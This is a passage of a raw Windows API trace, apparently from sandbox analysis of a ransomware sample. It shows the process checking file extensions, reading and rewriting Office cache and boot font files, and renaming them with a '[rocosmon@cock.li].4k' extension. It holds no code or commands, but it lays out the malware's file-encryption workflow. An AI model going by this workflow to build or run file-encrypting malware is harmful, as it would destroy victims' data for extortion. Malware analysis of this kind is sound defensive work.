	[0106.322] lstrlenW (lpString=".rar") returned 4
	[0106.322] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0106.322] lstrlenW (lpString=".bz2") returned 4
	[0106.322] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0106.322] lstrlenW (lpString=".7z") returned 3
	[0106.322] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0106.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0106.323] lstrlenW (lpString=".dbf") returned 4
	[0106.323] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0106.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0106.323] lstrlenW (lpString=".1cd") returned 4
	[0106.323] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0106.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0106.323] lstrlenW (lpString=".jpg") returned 4
	[0106.323] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0106.323] lstrcmpiW (lpString1=".xrm-ms", lpString2=".4k") returned 1
	[0106.323] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24
	[0106.323] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0106.377] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=715834) returned 1
	[0106.377] CloseHandle (hObject=0x1fc) returned 1
	[0106.377] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020
	[0106.377] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0106.377] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0106.378] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.378] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.378] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0106.378] GetLastError () returned 0x0
	[0106.389] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0xaec3a, lpOverlapped=0x0) returned 1
	[0106.490] WriteFile (in: hFile=0x1d0, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0xaec40, lpOverlapped=0x0) returned 1
	[0106.503] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesRead=0x35bfed4*=0x0, lpOverlapped=0x0) returned 1
	[0106.503] WriteFile (in: hFile=0x1d0, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x35bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x35bfc9c*=0x104, lpOverlapped=0x0) returned 1
	[0106.503] SetEndOfFile (hFile=0x1d0) returned 1
	[0106.504] CloseHandle (hObject=0x1d0) returned 1
	[0106.504] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.504] SetEndOfFile (hFile=0x1fc) returned 1
	[0106.510] CloseHandle (hObject=0x1fc) returned 1
	[0106.510] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0106.511] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1
	[0106.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0106.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0106.511] lstrlenW (lpString=".doc") returned 4
	[0106.511] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0106.511] lstrlenW (lpString=".docx") returned 5
	[0106.511] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0106.511] lstrlenW (lpString=".pdf") returned 4
	[0106.511] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0106.511] lstrlenW (lpString=".xls") returned 4
	[0106.511] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0106.511] lstrlenW (lpString=".xlsx") returned 5
	[0106.511] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0106.511] lstrlenW (lpString=".ppt") returned 4
	[0106.511] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0106.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0106.511] lstrlenW (lpString=".zip") returned 4
	[0106.511] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0106.511] lstrlenW (lpString=".rar") returned 4
	[0106.512] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0106.512] lstrlenW (lpString=".bz2") returned 4
	[0106.512] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0106.512] lstrlenW (lpString=".7z") returned 3
	[0106.512] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0106.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0106.512] lstrlenW (lpString=".dbf") returned 4
	[0106.512] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0106.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0106.512] lstrlenW (lpString=".1cd") returned 4
	[0106.512] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0106.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0106.512] lstrlenW (lpString=".jpg") returned 4
	[0106.512] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0106.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0106.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0106.512] lstrlenW (lpString=".doc") returned 4
	[0106.512] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0106.512] lstrlenW (lpString=".docx") returned 5
	[0106.512] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0106.512] lstrlenW (lpString=".pdf") returned 4
	[0106.512] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0106.512] lstrlenW (lpString=".xls") returned 4
	[0106.512] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0106.512] lstrlenW (lpString=".xlsx") returned 5
	[0106.512] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0106.512] lstrlenW (lpString=".ppt") returned 4
	[0106.512] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0106.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0106.512] lstrlenW (lpString=".zip") returned 4
	[0106.512] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0106.512] lstrlenW (lpString=".rar") returned 4
	[0106.512] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0106.513] lstrlenW (lpString=".bz2") returned 4
	[0106.513] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0106.513] lstrlenW (lpString=".7z") returned 3
	[0106.513] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0106.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0106.513] lstrlenW (lpString=".dbf") returned 4
	[0106.513] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0106.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0106.513] lstrlenW (lpString=".1cd") returned 4
	[0106.513] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0106.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87
	[0106.513] lstrlenW (lpString=".jpg") returned 4
	[0106.513] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0106.513] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0106.513] lstrlenW (lpString="PrjProrWW.msi") returned 13
	[0106.513] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0106.797] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x35bff1c | out: lpFileSize=0x35bff1c*=10798080) returned 1
	[0106.797] CloseHandle (hObject=0x1d8) returned 1
	[0106.797] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020
	[0106.797] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0106.797] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0106.814] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0106.814] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc6c | out: lpNewFilePointer=0x0) returned 1
	[0106.814] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfc2c | out: lpNewFilePointer=0x0) returned 1
	[0106.815] ReadFile (hFile=0x1d8, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35bfc38, lpOverlapped=0x0) 

Thread:
	id = 19
	os_tid = 0xaa8

	[0088.055] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3661068
	[0088.055] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3671070
	[0088.056] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f03f8
	[0088.056] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x4f30d8
	[0088.056] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0410
	[0088.056] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x3d80020
	[0088.056] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0428
	[0088.056] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0428, Size=0x20) returned 0x35d0718
	[0088.056] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0428
	[0088.056] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0428, Size=0x20) returned 0x35d06f0
	[0088.056] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0088.057] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0088.057] Wow64DisableWow64FsRedirection (in: OldValue=0x390ff58 | out: OldValue=0x390ff58*=0x0) returned 1
	[0088.057] lstrlenW (lpString="kernel32.dll") returned 12
	[0088.057] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x35d0718 | out: hHeap=0x4a0000) returned 1
	[0088.057] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0088.057] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x35d06f0 | out: hHeap=0x4a0000) returned 1
	[0088.057] Sleep (dwMilliseconds=0x64) 
	[0088.240] lstrcmpiW (lpString1=".ttf", lpString2=".4k") returned 1
	[0088.240] lstrlenW (lpString="jpn_boot.ttf") returned 12
	[0088.240] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0088.245] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x390ff1c | out: lpFileSize=0x390ff1c*=1984228) returned 1
	[0088.245] CloseHandle (hObject=0x160) returned 1
	[0088.245] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20
	[0088.245] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.245] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[rocosmon@cock.li].4k")) returned 0
	[0088.245] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0088.245] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0088.246] lstrlenW (lpString=".doc") returned 4
	[0088.246] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0088.246] lstrlenW (lpString=".docx") returned 5
	[0088.246] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0088.246] lstrlenW (lpString=".pdf") returned 4
	[0088.246] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0088.246] lstrlenW (lpString=".xls") returned 4
	[0088.246] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0088.246] lstrlenW (lpString=".xlsx") returned 5
	[0088.246] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0088.246] lstrlenW (lpString=".ppt") returned 4
	[0088.246] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0088.246] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0088.246] lstrlenW (lpString=".zip") returned 4
	[0088.246] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0088.246] lstrlenW (lpString=".rar") returned 4
	[0088.246] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0088.246] lstrlenW (lpString=".bz2") returned 4
	[0088.246] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0088.246] lstrlenW (lpString=".7z") returned 3
	[0088.246] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0088.246] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0088.246] lstrlenW (lpString=".dbf") returned 4
	[0088.246] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0088.247] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0088.247] lstrlenW (lpString=".1cd") returned 4
	[0088.247] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0088.247] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0088.247] lstrlenW (lpString=".jpg") returned 4
	[0088.247] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0088.247] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0088.247] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0088.247] lstrlenW (lpString=".doc") returned 4
	[0088.247] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0088.247] lstrlenW (lpString=".docx") returned 5
	[0088.247] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0088.247] lstrlenW (lpString=".pdf") returned 4
	[0088.247] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0088.247] lstrlenW (lpString=".xls") returned 4
	[0088.247] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0088.247] lstrlenW (lpString=".xlsx") returned 5
	[0088.247] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0088.247] lstrlenW (lpString=".ppt") returned 4
	[0088.247] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0088.247] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0088.247] lstrlenW (lpString=".zip") returned 4
	[0088.247] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0088.247] lstrlenW (lpString=".rar") returned 4
	[0088.247] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0088.247] lstrlenW (lpString=".bz2") returned 4
	[0088.247] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0088.247] lstrlenW (lpString=".7z") returned 3
	[0088.247] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0088.247] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0088.248] lstrlenW (lpString=".dbf") returned 4
	[0088.248] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0088.248] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0088.248] lstrlenW (lpString=".1cd") returned 4
	[0088.248] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0088.248] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0088.248] lstrlenW (lpString=".jpg") returned 4
	[0088.248] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0088.248] Sleep (dwMilliseconds=0x64) 
	[0088.534] Sleep (dwMilliseconds=0x64) 
	[0089.231] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0089.232] lstrlenW (lpString="PptLR.cab") returned 9
	[0089.232] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0089.233] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x390ff1c | out: lpFileSize=0x390ff1c*=70361744) returned 1
	[0089.233] CloseHandle (hObject=0x194) returned 1
	[0089.233] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020
	[0089.233] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0089.233] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0089.234] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0089.234] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0x0) returned 1
	[0089.234] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0089.234] ReadFile (in: hFile=0x194, lpBuffer=0x3d80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d80058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0089.282] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0089.282] ReadFile (in: hFile=0x194, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0089.306] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.306] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0089.306] ReadFile (in: hFile=0x194, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0089.549] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.550] WriteFile (in: hFile=0x194, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x390fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fcb0*=0xc00fe, lpOverlapped=0x0) returned 1
	[0089.566] SetEndOfFile (hFile=0x194) returned 1
	[0089.566] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3eb0280
	[0089.656] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0089.656] WriteFile (in: hFile=0x194, lpBuffer=0x3eb0280*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb0280*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0089.657] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0089.657] WriteFile (in: hFile=0x194, lpBuffer=0x3eb0280*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb0280*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0089.658] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
